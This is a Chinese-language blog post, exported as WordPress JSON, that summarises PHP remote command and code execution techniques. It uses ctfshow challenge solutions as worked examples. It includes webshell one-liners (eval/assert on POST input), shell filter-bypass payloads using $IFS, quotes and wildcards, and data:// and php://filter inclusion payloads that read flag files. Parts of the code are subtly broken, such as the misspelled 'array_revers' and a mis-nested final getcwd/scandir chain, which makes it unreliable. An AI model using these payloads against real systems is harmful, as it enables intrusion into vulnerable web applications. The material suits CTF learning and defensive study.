{"id":1,"date":"2025-03-21T20:46:22","date_gmt":"2025-03-21T12:46:22","guid":{"rendered":"http:\/\/106.54.201.63:8080\/?p=1"},"modified":"2026-03-23T20:56:03","modified_gmt":"2026-03-23T12:56:03","slug":"hello-world","status":"publish","type":"post","link":"http:\/\/charlottezhiend.cn:8080\/index.php\/2025\/03\/21\/hello-world\/","title":{"rendered":"\u547d\u4ee4\u884c\u6267\u884cRCE\u603b\u7ed3"},"content":{"rendered":"\n

\u9996\u5148\u9700\u8981\u660e\u767d\u547d\u4ee4\u6267\u884c\u548c\u4ee3\u7801\u6267\u884c\u7684\u533a\u522b<\/strong><\/h2>\n\n\n\n

\u547d\u4ee4\u6267\u884c\uff1a\u901a\u8fc7web\u5e94\u7528\u8c03\u7528\u7cfb\u7edf\u547d\u4ee4\u7684\u65b9\u5f0f\u6267\u884c<\/h3>\n\n\n\n

\u547d\u4ee4\u884c\u6267\u884c\u5e38\u7528\u51fd\u6570<\/h4>\n\n\n\n

\u7279\u6b8a\u5199\u6cd5<?=passthru(‘ls’);?>\u6548\u679c\u4e0e<?php passthru(‘ls’);?>\u76f8\u540c\uff0c\u53ef\u4ee5\u7528\u4e8e\u7ed5\u8fc7php\u88ab\u8fc7\u6ee4\u7684\u60c5\u51b5<\/p>\n\n\n\n

system()<\/strong>\uff1a\u6267\u884c\u5916\u90e8\u7a0b\u5e8f\uff0c\u5e76\u663e\u793a\u8f93\u51fa <\/p>\n\n\n\n

<?php system(\"whoami\");?><\/code><\/pre>\n\n\n\n
passthru()<\/strong>\uff1a\u6548\u679c\u4e0esystem()\u76f8\u540c\uff0c\u5f53system\u4e0d\u53ef\u4ee5\u4f7f\u7528\u7684\u65f6\u5019\u53ef\u4ee5\u5c1d\u8bd5\u8fdb\u884c\u4ee3\u66ff<\/p>\n\n\n\n
<?php passthru(\"whoami\");?><\/code><\/pre>\n\n\n\n
exec()<\/strong>\uff1a\u53ea\u4f1a\u6267\u884c\u5916\u90e8\u7a0b\u5e8f\uff0c\u9700\u8981\u7528echo\u7b49\u4f7f\u5176\u8f93\u51fa<\/p>\n\n\n\n
<?php echo exec(\"whoami\");?><\/code><\/pre>\n\n\n\n
pcntl_exec()\uff1a\u5728\u5f53\u524d\u8fdb\u7a0b\u7a7a\u95f4\u6267\u884c\u6307\u5b9a\u7a0b\u5e8f\uff08\u4e0d\u592a\u5e38\u7528\uff09<\/p>\n\n\n\n
<?php pcntl_exec(\"\/bin\/bash\",array(\"whoami\"))?><\/code><\/pre>\n\n\n\n
shell_exec()<\/strong>\uff1a\u901a\u8fc7shell\u6267\u884c\u547d\u4ee4\u5e76\u5c06\u5b8c\u6574\u7684\u8f93\u51fa\u4ee5\u5b57\u7b26\u4e32\u7684\u65b9\u5f0f\u8fd4\u56de<\/p>\n\n\n\n
<?php echo shell_exec(\"whoami\");?>\n\u5982\u679c\u4e0d\u53ef\u4ee5\u4f7f\u7528()\u7684\u65f6\u5019\u53ef\u4ee5\u7528``\u4ee3\u66ffphp\u4f1a\u5c1d\u8bd5\u5c06\u53cd\u5f15\u53f7\u4e2d\u7684\u5185\u5bb9\u4f5c\u4e3ashell\u547d\u4ee4\u6765\u6267\u884c\u5e76\u8f93\u51fa\u8fd4\u56de\u4fe1\u606f\n<?php echo `whoami`?><\/code><\/pre>\n\n\n\n
popen()\uff1a\u7528\u4e8e\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u5e76\u6253\u5f00\u7684\u51fd\u6570<\/p>\n\n\n\n
r\u8bfb\u53d6\u547d\u4ee4\uff0cw\u5199\u5165\u547d\u4ee4\n<?php\n$file = popen('whoami', 'r'); \necho fgets($file);             \npclose($file);                 \n?><\/code><\/pre>\n\n\n\n
\u4ee3\u7801\u6267\u884c\uff1a\u901a\u8fc7\u67d0\u6bb5\u811a\u672c\u6216\u7f16\u7a0b\u8bed\u8a00\u7684\u4ee3\u7801<\/h3>\n\n\n\n
\u4ee3\u7801\u6267\u884c\u5e38\u7528\u7684\u51fd\u6570<\/h4>\n\n\n\n
eval()<\/strong>\uff1a\u628a\u53c2\u6570\u4e2d\u7684\u5b57\u7b26\u5f53\u4f5cphp\u4ee3\u7801\u6765\u6267\u884c<\/p>\n\n\n\n
\u53ef\u4ee5\u7528\u6765\u4e0a\u4f20webshell\n<?php eval($_POST[1]);?>\n\u53ef\u4ee5\u7528\u6765\u76f4\u63a5\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0c\u5b57\u7b26\u4e32\u5fc5\u987b\u5408\u6cd5\u4e14\u4ee5\u5206\u53f7\u7ed3\u5c3e\n<?php eval(\"system(whoami);\");?><\/code><\/pre>\n\n\n\n
assert()<\/strong>\uff1a\u4e0eeval\u6548\u679c\u76f8\u540c\u4e0d\u8d58\u8ff0\u5176\u539f\u7406<\/p>\n\n\n\n
\u53ef\u4ee5\u7528\u6765\u4e0a\u4f20webshell\n<?php assert($_POST[1])?>\n\u53ef\u4ee5\u7528\u6765\u76f4\u63a5\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0c\u5b57\u7b26\u4e32\u5fc5\u987b\u5408\u6cd5\u4e14\u4ee5\u5206\u53f7\u7ed3\u5c3e\n<?php assert(\"system(whoami);\");?><\/code><\/pre>\n\n\n\n
call_user_func($a,$b)<\/strong>\uff1a\u7b2c\u4e00\u4e2a\u53c2\u6570\u4f5c\u4e3a\u8c03\u7528\u51fd\u6570\uff0c\u7b2c\u4e8c\u4e2a\u51fd\u6570\u4f5c\u4e3a\u56de\u8c03\u51fd\u6570\u7684\u53c2\u6570<\/p>\n\n\n\n
<?php call_user_func($_POST[\"func\"],$_POST[\"pass\"])?>\nfunc=assert&pass=phpinfo();<\/code><\/pre>\n\n\n\n
creat_function()\uff1a\u901a\u8fc7\u6267\u884c\u4ee3\u7801\u5b57\u7b26\u4e32\u521b\u5efa\u52a8\u6001\u51fd\u6570\uff0c\u7528\u4e8e\u52a8\u6001\u521b\u5efa\u5e76\u8fd4\u56de\u4e00\u4e2a\u533f\u540d\u51fd\u6570
7.2.0 \u8d77\u88ab\u5e9f\u5f03\uff0c\u5e76\u81ea PHP 8.0.0 \u8d77\u88ab\u79fb\u9664<\/p>\n\n\n\n
<?php\n   $a= $_POST['func'];\n   $b = create_function('$a',\"echo $a\");\n   $b('');\n?>\nfunc=phpinfo();<\/code><\/pre>\n\n\n\n
array_map\uff1a\u4e3a\u6570\u7ec4\u7684\u6bcf\u4e2a\u5143\u7d20\u5e94\u7528\u56de\u8c03\u51fd\u6570\uff0c\u7528\u4e8e\u5c06\u4e00\u4e2a\u6216\u591a\u4e2a\u6570\u7ec4\u4e2d\u7684\u6bcf\u4e2a\u5143\u7d20\u90fd\u4f20\u9012\u7ed9\u56de\u8c03\u51fd\u6570\u8fdb\u884c\u5904\u7406\uff0c\u5e76\u8fd4\u56de\u4e00\u4e2a\u5904\u7406\u540e\u7684\u65b0\u6570\u7ec4<\/p>\n\n\n\n
<?php\n   $array = array(0,1,2,3,4,5);\n   array_map($_POST['func'],$array);\n?>\npost:func=phpinfo<\/code><\/pre>\n\n\n\n
php5\u548cphp7\u4e2d\u5bf9eval\u7b49\u51fd\u6570\u7684\u4e0d\u540c\u64cd\u4f5c<\/h5>\n\n\n\n
php5\u4e2d<\/strong><\/p>\n\n\n\n
<?php\n$a='assert';\necho $a(\"phpinfo();\");\n?><\/code><\/pre>\n\n\n\n
php7\u4e2d<\/strong><\/p>\n\n\n\n
<?php\n$a='phpinfo';\n($a)();\n?><\/code><\/pre>\n\n\n\n
Linux\u7cfb\u7edf\u547d\u4ee4\u53ca\u5176\u7ed5\u8fc7<\/h2>\n\n\n\n
\u6587\u4ef6\u8bfb\u53d6\u547d\u4ee4<\/h3>\n\n\n\n
cd \u5207\u6362\u6587\u4ef6\u6216\u8005\u8fd4\u56de\u4e0a\u4e00\u7ea7\u76ee\u5f55\nls \u5c55\u793a\u76ee\u5f55\u4e0b\u7684\u6587\u4ef6\nmore \u663e\u793a\u6863\u6848\u5185\u5bb9\nless \u4e0emore\u76f8\u540c\u53ef\u4ee5\u8fdb\u884c\u5b57\u7b26\u641c\u7d22\nhead \u67e5\u770b\u6587\u4ef6\u7684\u5934\u51e0\u884c\ncat \u6587\u4ef6\u67e5\u770b cat-n\u67e5\u770b\u6587\u4ef6\u663e\u793a\u884c\u53f7\ntac \u5012\u7740\u67e5\u770b\u6587\u4ef6\ntail \u67e5\u770b\u5c3e\u51e0\u884c tail -f \u4f1a\u7b49\u5f85\u6587\u4ef6\u66f4\u65b0\nnl \u67e5\u770b\u7684\u65f6\u5019\u663e\u793a\u884c\u53f7\nod \u4ee5\u4e8c\u8fdb\u5236\u5f62\u5f0f\u67e5\u770b\u6587\u4ef6\nvi \u7f16\u8f91\u5668 vim\u7f16\u8f91\u5668+\u5199\u4ee3\u7801\u5de5\u5177\nsort \u67e5\u770b\u65b9\u5f0f\nuniq \u67e5\u770b\u65b9\u5f0f<\/strong>\ngrep \u67e5\u770b\u6587\u4ef6<\/strong>\nhighlight_file() \u8bfb\u53d6\u6587\u4ef6\u5e76\u9ad8\u4eae\u663e\u793a<\/strong>\nfile_get_contents()\nfgets()\nfile()\nreadfile()\nshow_resource() \u8bfb\u53d6\u6587\u4ef6\u5e76\u9ad8\u4eae\u663e\u793a<\/strong>\npaste \u591a\u4e2a\u6587\u4ef6\u7684\u5185\u5bb9\u6309\u5217\u5408\u5e76\u5728\u4e00\u8d77\u3002\u8be5\u547d\u4ee4\u4ece\u6bcf\u4e2a\u8f93\u5165\u6587\u4ef6\u4e2d\u8bfb\u53d6\u4e00\u884c\u6587\u672c\uff0c\u5e76\u5728\u8f93\u51fa\u4e2d\u4f7f\u7528\u5236\u8868\u7b26\u5206\u5272\u4ed6\u4eec\ndiff \u7528\u4e8e\u6bd4\u8f83\u6587\u672c\u6587\u4ef6\u4e4b\u95f4\u5dee\u5f02\u7684\u547d\u4ee4\u3002\u53ef\u4ee5\u5e2e\u52a9\u7528\u6237\u67e5\u627e\u548c\u6807\u8bc6\u6587\u4ef6\u4e4b\u95f4\u7684\u4fee\u6539\u3001\u6dfb\u52a0\u6216\u5220\u9664\u884c\u7b49\u5dee\u5f02\ncurl  \nbase64 \u5c06\u6587\u4ef6\u4ee5base64\u7684\u65b9\u5f0f\u662f\u8f93\u51fa\nhex \u5c06\u6587\u4ef6\u4ee5hex\u7684\u65b9\u5f0f\u662f\u8f93\u51fa\nunicode \u5c06\u6587\u4ef6\u4ee5Unicode\u7684\u65b9\u5f0f\u662f\u8f93\u51fa<\/strong>\n<\/code><\/pre>\n\n\n\n
\u7ba1\u9053\u7b26\u7ed5\u8fc7<\/h3>\n\n\n\n
\u56de\u987e\u4e00\u4e0b\u7ba1\u9053\u7b26\u7684\u77e5\u8bc6\u70b9<\/strong>
| \u53ea\u6267\u884c\u540e\u9762\u90a3\u6761\u547d\u4ee4<\/strong>
|| \u53ea\u6267\u884c\u524d\u9762\u90a3\u6761\u547d\u4ee4<\/strong> 
& \u4e24\u6761\u547d\u4ee4\u90fd\u4f1a\u6267\u884c<\/strong> 
&& \u4e24\u6761\u547d\u4ee4\u90fd\u4f1a\u6267\u884c,\u5982\u679c\u524d\u9762\u662ffalse\u5c31\u4e0d\u6267\u884c\u540e\u9762\u7684\u76f4\u63a5\u7ed3\u675f<\/strong><\/p>\n\n\n\n
\n
<\/p>\n<\/blockquote>\n\n\n\n
\u5b9e\u6218\uff0c\u53c2\u8003ctfshow web\u5165\u95e842<\/strong><\/p>\n\n\n\n
<?php\nif(isset($_GET['c'])){\n    $c=$_GET['c'];\n    system($c.\" >\/dev\/null 2>&1\");\n}else{\n    highlight_file(__FILE__);\n}<\/code><\/pre>\n\n\n\n
\u6b64\u9898\u8fd8\u9700\u8981\u4e86\u89e3\/dev\/null 2>&1
\/dev\/null \u662f\u4e00\u4e2a Linux \u547d\u4ee4\uff0c\u7528\u4e8e\u4e22\u5f03\u547d\u4ee4\u8f93\u51fa\uff0c\u5373\u4e0d\u663e\u793a\u6807\u51c6\u8f93\u51fa\u3002
2>&1 \u8868\u793a\u5c06\u6807\u51c6\u9519\u8bef\u8f93\u51fa\u91cd\u5b9a\u5411\u5230\u6807\u51c6\u8f93\u51fa\uff08\u8fd9\u4e5f\u4f1a\u88ab\u4e22\u5f03\uff09\u3002
\/dev\/null 2>&1 \u610f\u601d\u662f\u5c06\u6807\u51c6\u8f93\u51fa\u548c\u6807\u51c6\u9519\u8bef\u90fd\u91cd\u5b9a\u5411\u5230 \/dev\/null \u5373\u4e0d\u56de\u663e<\/strong><\/p>\n\n\n\n
\u53ef\u4ee5\u5229\u7528\u7ba1\u9053\u7b26\u5bf9\/dev\/null\u547d\u4ee4\u8fdb\u884c\u622a\u65ad<\/p>\n\n\n\n
?c=tac flag.php||<\/code><\/pre>\n\n\n\n
\u53d8\u5f0f\u9898\uff0c\u53c2\u8003ctfshow web\u5165\u95e850<\/strong><\/p>\n\n\n\n
<?php\nif(isset($_GET['c'])){\n    $c=$_GET['c'];\n    if(!preg_match(\"\/\\;|cat|flag| |[0-9]|\\\\$|\\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\\`|\\%|\\x09|\\x26\/i\", $c)){\n        system($c.\" >\/dev\/null 2>&1\");\n    }\n}else{\n    highlight_file(__FILE__);\n}<\/code><\/pre>\n\n\n\n
\u5269\u4e0btac\u7684\u6587\u4ef6\u8bfb\u53d6\u65b9\u5f0f\uff0c\u4f46\u662fflag\u88ab\u8fc7\u6ee4\u4e86<\/p>\n\n\n\n
Linux\u4e2d\u7834\u574f\u7ed3\u6784\u7684\u65b9\u6cd5<\/h5>\n\n\n\n
\u56de\u987e\u4e00\u4e0bLinux\u4e2d\u53ef\u4ee5\u7528\u4e8e\u6dfb\u52a0\u7834\u574f\u7ed3\u6784\u5e76\u4e14\u80fd\u591f\u4f7f\u547d\u4ee4\u6210\u529f\u6267\u884c\u7684\u4e00\u4e9b\u65b9\u6cd5
1.\u4f7f\u7528”\u7834\u574f\u7ed3\u6784
2.\u4f7f\u7528\\\u7834\u574f\u7ed3\u6784
3.\u4f7f\u7528\u901a\u914d\u7b26
4.\u73af\u5883\u53d8\u91cf{$IFS}\u548c$IFS
$IFS\u7b80\u5355\u5f15\u7528\u53d8\u91cf\uff0c\u540e\u9762\u65e0\u7d27\u8ddf\u5b57\u7b26\uff0c\u666e\u901a\u4f7f\u7528
{$IFS}\u7cbe\u51c6\u5f15\u7528\u53d8\u91cf\uff0c\u53ef\u62fc\u63a5\u5176\u4ed6\u5b57\u7b26\u4e32\uff0c\u62fc\u63a5\u3001\u7ed5\u8fc7\u3001\u6ce8\u5165\u3001\u53d8\u91cf\u540e\u8ddf\u5b57\u7b26\u573a\u666f<\/strong>
5.\u672a\u5b9a\u4e49\u7684\u53d8\u91cfca$xt shell.php<\/strong>
6.\u62fc\u63a5
a=l;b=s;$a$b ls
a=cat;b=\/root\/shell.php;$a<$b
a=ca;b=t${IFS}\/root\/shell.p;c=hp;d=$a$b$c;$d<\/strong><\/p>\n\n\n\n
\u8fd9\u91cc\u5229\u7528”\u7834\u574f\u4e00\u4e0b\u7ed3\u6784\u5c31\u80fd\u7ed5\u8fc7\u4e86<\/p>\n\n\n\n
?c=tac<fla''g.php||<\/code><\/pre>\n\n\n\n
\u518d\u6765\u4e00\u9053\u53d8\u5f0f\u9898\uff0c\u7528\u4e8e\u8be6\u7ec6\u89e3\u91ca$IFS\u548c{$IFS}\u7684\u533a\u522b<\/strong><\/p>\n\n\n\n
<?php\nif(isset($_GET['c'])){\n    $c=$_GET['c'];\n    if(!preg_match(\"\/\\;|cat|flag| |[0-9]|\\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\\`|\\%|\\x09|\\x26|\\>|\\<\/i\", $c)){\n        echo($c);\n        $d = system($c);\n        echo \"<br>\".$d;\n    }else{\n        echo 'no';\n    }\n}else{\n    highlight_file(__FILE__);\n}<\/code><\/pre>\n\n\n\n
\u7a7a\u683c\u88ab\u8fc7\u6ee4\u4e86\u540c\u65f6\u7a7a\u683c\u7684\u7f16\u7801\u5f62\u5f0f\u4e5f\u88ab\u8fc7\u6ee4\u4e86\uff0c\u53ef\u4ee5\u8003\u8651\u4f7f\u7528$IFS\u4f46\u662f\u4f1a\u51fa\u73b0\u4e00\u5b9a\u7684\u95ee\u9898<\/p>\n\n\n\n
?c=ca''t$IFSfl?g.php\/\/\u5e76\u6ca1\u6709\u62ff\u5230flag<\/code><\/pre>\n\n\n\n
$IFSfl?g.php<\/code> \u4e2d\uff0cBash \u4f1a\u5c1d\u8bd5\u89e3\u6790\u53d8\u91cf\u540d IFSfl<\/code>\uff08\u4e0d\u662f\u4f60\u60f3\u8981\u7684 IFS<\/code>\uff09\u3002
\u7531\u4e8e\u6ca1\u6709 {}<\/code> \u5305\u88f9\uff0c$IFSfl<\/code> \u662f\u975e\u6cd5\u6216\u672a\u5b9a\u4e49\u7684\u53d8\u91cf \u2192 \u4e3a\u7a7a
\u6240\u4ee5\u6700\u7ec8\u62fc\u63a5\u6210\u7684\u662f\uff1acatfl?g.php<\/code>\uff0c\u4e0d\u5305\u542b\u7a7a\u683c\uff0c\u4e5f\u5c31\u4e0d\u662f\u5408\u6cd5\u547d\u4ee4
\u7531\u4e8e\u6b63\u5219\u5339\u914d\u4e0d\u5230\u5173\u952e\u8bcd \"cat\"<\/code>\uff0c\u5c31\u76f4\u63a5\u6267\u884c\u4e86 catfl?g.php<\/code> \u2192 \u62a5\u9519\u6216\u627e\u4e0d\u5230\u6587\u4ef6<\/strong>
\u5982\u679c\u8981\u4f7f\u7528$IFS\u9700\u8981\u6dfb\u52a0\\\uff0c$IFS\\fl?g.php\u53ef\u4ee5\u6b63\u5e38\u89e3\u6790<\/p>\n\n\n\n
\u6240\u4ee5\u6b64\u9898\u6b63\u786e\u7684payload\u662f\u4f7f\u7528${IFS}<\/p>\n\n\n\n
?c=ca”t{$IFS}fl?g.php
?c=ca”t$IFS\\fl?g.php<\/p>\n\n\n\n
\u8f93\u5165\u8f93\u51fa\u91cd\u5b9a\u5411+\u901a\u914d\u7b26\u7ed5\u8fc7<\/h3>\n\n\n\n
\u9002\u7528\u4e8e\u8981\u8bfb\u53d6\u7684\u6587\u4ef6\u540d\u88ab\u8fc7\u6ee4<\/h5>\n\n\n\n
\u56de\u987e\u4e00\u4e0b\u901a\u914d\u7b26\u7684\u77e5\u8bc6\u70b9
1.*\u8868\u793a\u5339\u914d\u4efb\u610f\u6570\u91cf\u7684\u4efb\u610f\u5b57\u7b26\uff08\u5305\u62ec\u7a7a\uff09
2.?\u5339\u914d\u4efb\u610f\u5355\u4e2a\u5b57\u7b26
3.[a-z]\u5339\u914d\u8303\u56f4\u5185\u7684\u5b57\u7b26
4.[!a~z]\u6216\u8005[^a-z]\u5339\u914d\u9664\u8303\u56f4\u4ee5\u5916\u7684\u4efb\u610f\u5b57\u7b26
5.{a,b,c}\u5339\u914d\u591a\u4e2a\u5b57\u7b26\u4e2d\u7684\u4efb\u610f\u4e00\u4e2a<\/strong><\/p>\n\n\n\n
\u56de\u987e\u4e00\u4e0b\u8f93\u5165\u8f93\u51fa\u91cd\u5b9a\u5411\u7684\u77e5\u8bc6\u70b9
1.>\u8f93\u5165\u91cd\u5b9a\u5411\uff08\u8986\u76d6\u6587\u4ef6\uff09\uff1a\u5c06\u67d0\u4e2a\u547d\u4ee4\u6267\u884c\u7684\u7ed3\u679c\u5199\u5165\u5230\u67d0\u4e2a\u6587\u4ef6\u4e2d\uff0c\u4f1a\u8986\u76d6\u6587\u4ef6\uff0c\u4e0d\u5b58\u5728\u6587\u4ef6\u4f1a\u65b0\u5efa
2.>>\u8f93\u5165\u91cd\u5b9a\u5411\uff08\u8ffd\u52a0\u5230\u6587\u4ef6\u672b\u5c3e\uff09\uff1a\u5c06\u67d0\u4e2a\u547d\u4ee4\u6267\u884c\u7684\u7ed3\u679c\u5199\u5165\u5230\u67d0\u4e2a\u6587\u4ef6\u4e2d\uff0c\u5c06\u5176\u8ffd\u52a0\u5230\u672b\u5c3e
3.<\u8f93\u51fa\u91cd\u5b9a\u5411\uff1a\u5c06\u6587\u4ef6\u4e2d\u7684\u5185\u5bb9\u5f53\u4f5c\u547d\u4ee4\u6267\u884c<\/strong><\/p>\n\n\n\n
\u5b9e\u6218payload\uff0c\u6b64\u5904\u53c2\u8003ctfshow web\u5165\u95e829<\/strong><\/p>\n\n\n\n
<?php\nerror_reporting(0);\nif(isset($_GET['c'])){\n    $c = $_GET['c'];\n    if(!preg_match(\"\/flag\/i\", $c)){\n        eval($c);\n    }\n    \n}else{\n    highlight_file(__FILE__);\n}<\/code><\/pre>\n\n\n\n
\u5229\u7528\u901a\u914d\u7b26+\u8f93\u51fa\u91cd\u5b9a\u5411\u8bfb\u53d6flag.php\u62ff\u5230\u5bf9\u5e94\u7684flag<\/p>\n\n\n\n
?c=system(\"cat f* >1.txt\");<\/code><\/pre>\n\n\n\n
\u6587\u4ef6\u5305\u542b\u7ed5\u8fc7<\/h3>\n\n\n\n
\u9002\u7528\u4e8e\u8fc7\u6ee4\u4e86()\u5bfc\u81f4\u4e00\u4e9bphp\u7684\u51fd\u6570\u65e0\u6cd5\u4f7f\u7528<\/h4>\n\n\n\n
\u4e00\u4e9b\u4e0d\u9700\u8981()\u7684php\u51fd\u6570<\/strong>
include require include_once require_once die echo print <\/p>\n\n\n\n
\u56de\u987e\u4e00\u4e0b\u6587\u4ef6\u5305\u542b\u4e2d\u4f2a\u534f\u8bae\u7684\u77e5\u8bc6\u70b9
1.php:\/\/filter\/convert-base64-encode\/resource=
2.data:\/\/text\/plain;base64,PD9waHAgcGFzc3RocnUoInRhYyBmbGFnLnBocCIpPz4=<\/strong>
*3.\u4f2a\u534f\u8bae\u5305\u542b\u6587\u4ef6\u7684\u65f6\u5019\u662f\u4e0d\u652f\u6301\u901a\u914d\u7b26\u7684\u4f7f\u7528\u7684<\/strong><\/p>\n\n\n\n
\u5b9e\u6218payload\uff0c\u6b64\u5904\u53c2\u8003ctfshow web\u5165\u95e836<\/strong><\/p>\n\n\n\n
<?php\nerror_reporting(0);\nif(isset($_GET['c'])){\n    $c = $_GET['c'];\n    if(!preg_match(\"\/flag|system|php|cat|sort|shell|\\.| |\\'|\\`|echo|\\;|\\(|\\:|\\\"|\\<|\\=|\\\/|[0-9]\/i\", $c)){\n        eval($c);\n    }\n    \n}else{\n    highlight_file(__FILE__);\n}<\/code><\/pre>\n\n\n\n
\u6b64\u5904\u8fc7\u6ee4\u4e86\u6570\u5b57\u5b57\u6bcd\uff0c_\u4e5f\u53ef\u4ee5\u5f53\u4f5c\u53d8\u91cf\u540d\u4f7f\u7528\uff0c\u53ef\u4ee5\u4f7f\u7528\u6587\u4ef6\u5305\u542b\u6765\u7ed5\u8fc7<\/p>\n\n\n\n
?c=include$_GET[_]?>&_=php:\/\/filter\/convert.base64-encode\/resource=flag.php\n?c=include$_GET[_]?>&_=data:\/\/text\/plain;base64,PD9waHAgcGFzc3RocnUoInRhYyBmbGFnLnBocCIpPz4=<\/code><\/pre>\n\n\n\n
\u9488\u5bf9\u7b2c\u4e09\u70b9\u7684\u5b9e\u6218\uff0c\u6b64\u5904\u53c2\u8003ctfshow web\u5165\u95e837<\/p>\n\n\n\n
<?php\n\/\/flag in flag.php\nerror_reporting(0);\nif(isset($_GET['c'])){\n    $c = $_GET['c'];\n    if(!preg_match(\"\/flag\/i\", $c)){\n        include($c);\n        echo $flag;\n    \n    }\n        \n}else{\n    highlight_file(__FILE__);\n}<\/code><\/pre>\n\n\n\n
\u7b2c\u4e00\u53cd\u5e94\u662f\u7528\u4f2a\u534f\u8bae\u5c06flag.php\u5305\u542b\u8fdb\u6765\uff0c\u4f46\u662f\u8fc7\u6ee4\u4e86\u6587\u4ef6\u540dflag\uff0c\u6ca1\u6709\u591a\u7591\u4f2a\u534f\u8bae\u5305\u542b\u6587\u4ef6\u7684\u65f6\u5019\u76f4\u63a5\u5229\u7528\u4e86\u901a\u914d\u7b26?\uff0c\u8bd5\u4e86\u534a\u5929\u51fa\u4e0d\u6765\u3002\u53ea\u80fd\u7528data\u534f\u8bae\u901a\u8fc7base64\u7f16\u7801\u7ed5\u8fc7\u3002<\/p>\n\n\n\n
?c=data:\/\/text\/plain;base64,PD9waHAgcGFzc3RocnUoInRhYyBmbGFnLnBocCIpPz4=<\/code><\/pre>\n\n\n\n
\u53d8\u5f0f\u9898\uff0c\u6b64\u5904\u53c2\u8003ctfshow web\u5165\u95e839<\/strong><\/p>\n\n\n\n
<?php\n\/\/flag in flag.php\nerror_reporting(0);\nif(isset($_GET['c'])){\n    $c = $_GET['c'];\n    if(!preg_match(\"\/flag\/i\", $c)){\n        include($c.\".php\");\n    }\n        \n}else{\n    highlight_file(__FILE__);\n}<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u8fd8\u662f\u53ef\u4ee5\u7528\u6587\u4ef6\u5305\u542b\uff0c\u4f46\u662f\u4e0d\u80fd\u7528data:\/\/text\/plain;base64\u7684\u65b9\u6cd5\uff0c\u56e0\u4e3adata:\/\/text\/plain;base64,PD9waHAgcGFzc3RocnUoInRhYyBmbGFnLnBocCIpPz4=\u540e\u9762\u4f1a\u548c.php\u8fdb\u884c\u62fc\u63a5\u5bfc\u81f4\u51fa\u9519\u3002\u53ea\u9700\u8981\u7528\u666e\u901a\u7684data\u534f\u8bae\u5c31\u884c\u4e86\u6b64\u65f6\uff0c?>\u4e3aphp\u7ed3\u675f\u7b26\u53f7\uff0c\u540e\u9762\u62fc\u63a5\u7684.php\u4f1a\u88ab\u5ffd\u7565\u6389\uff0c\u4e0d\u7528\u7ba1\u3002<\/p>\n\n\n\n
?c=data:\/\/text\/plain,<?php passthru(\"tac fla*.php\")?><\/code><\/pre>\n\n\n\n
\u65e0\u53c2RCE\u7ed5\u8fc7<\/h3>\n\n\n\n
\u9002\u7528\u4e8e\u8fc7\u6ee4\u4e86\u5927\u90e8\u5206\u7684\u5b57\u7b26<\/h4>\n\n\n\n
1.\u5229\u7528\u5185\u7f6e\u51fd\u6570\u8fdb\u884c\u65e0\u53c2RCE<\/h5>\n\n\n\n
\u4e00\u4e9b\u65e0\u53c2RCE\u77e5\u8bc6\u70b9\u7684\u8865\u5145
print_r()\u8f93\u51fa\u5185\u5bb9\u53ef\u4ee5\u7528var_dump\u3001echo\u3001var_export\u3001print\u4ee3\u66ff<\/strong>
\u7528print\u548cecho\u8fd9\u4e24\u4e2a\u65e0\u6cd5\u6253\u5370\u6570\u7ec4\u9700\u8981\u5229\u7528implode\u51fd\u6570\u5c06\u6570\u7ec4\u8f6c\u6362\u6210\u5b57\u7b26\u4e32\u518d\u6253\u5370\uff0c\u6216\u8005\u8fdb\u884cjson_encode\u8fdb\u884cjson\u683c\u5f0f\u7684\u7f16\u7801\u540e\u518d\u8f93\u51fa<\/strong>
c=echo(implode(“—“,scandir(“\/”)));
c=echo(json_encode(scandir(“\/”)));<\/strong>

getcwd()\u67e5\u770b\u5f53\u524d\u5de5\u4f5c\u76ee\u5f55
scandir()\u626b\u63cf\u5f53\u524d\u76ee\u5f55\u53ca\u6587\u4ef6\u8f93\u51fa\u4e3a\u6570\u7ec4
array_revers()\u6570\u7ec4\u5012\u7f6e<\/strong>
next()\u51fd\u6570\u6307\u5411\u4ece\u7b2c\u4e00\u4e2a\u6307\u5411\u7b2c\u4e8c\u4e2a
show_source()\u67e5\u770b\u6587\u4ef6\u7684\u5185\u5bb9<\/strong><\/p>\n\n\n\n
\u5b9e\u6218payload\uff0c\u6b64\u5904\u53c2\u8003ctfshow web\u5165\u95e840<\/strong><\/p>\n\n\n\n
<?php\nif(isset($_GET['c'])){\n    $c = $_GET['c'];\n    if(!preg_match(\"\/[0-9]|\\~|\\`|\\@|\\#|\\\\$|\\%|\\^|\\&|\\*|\\\uff08|\\\uff09|\\-|\\=|\\+|\\{|\\[|\\]|\\}|\\:|\\'|\\\"|\\,|\\<|\\.|\\>|\\\/|\\?|\\\\\\\\\/i\", $c)){\n        eval($c);\n    }\n        \n}else{\n    highlight_file(__FILE__);\n}<\/code><\/pre>\n\n\n\n
\u8fc7\u6ee4\u4e86\u975e\u5e38\u591a\u7684\u5b57\u7b26\uff0c\u5f02\u6216\uff0c\u6216\uff0c\u4e0e\u90fd\u88ab\u8fc7\u6ee4\u4e86\u65e0\u6cd5\u4f7f\u7528\u8fd0\u7b97\u7c7b\u578b\u7684RCE\uff0c\u56e0\u6b64\u60f3\u5230\u4e86\u901a\u8fc7\u5185\u7f6e\u51fd\u6570\u6765\u8fdb\u884c\u65e0\u53c2RCE<\/p>\n\n\n\n
\u9996\u5148\u67e5\u770b\u5f53\u524d\u7684\u76ee\u5f55<\/p>\n\n\n\n
?c=print_r(getcwd());<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4e4b\u540e\u626b\u63cf\u5f53\u524d\u76ee\u5f55\u5c06\u5176\u4ee5\u6570\u7ec4\u7684\u5f62\u5f0f\u8f93\u51fa<\/p>\n\n\n\n
?c=print_r(getcwd(scandir()));<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5c06\u6570\u7ec4\u5012\u7f6e\uff0c\u5e76\u4e14\u6307\u5411\u7b2c\u4e8c\u4e2a\u5143\u7d20<\/p>\n\n\n\n
?c=print_r(array_revers(getcwd(scandir())));<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6700\u540e\u8bfb\u53d6\u5c31\u884c\u4e86<\/p>\n\n\n\n
?c=print_r(show_source(array_revers(getcwd(scandir()))));<\/code><\/pre>\n\n\n\n
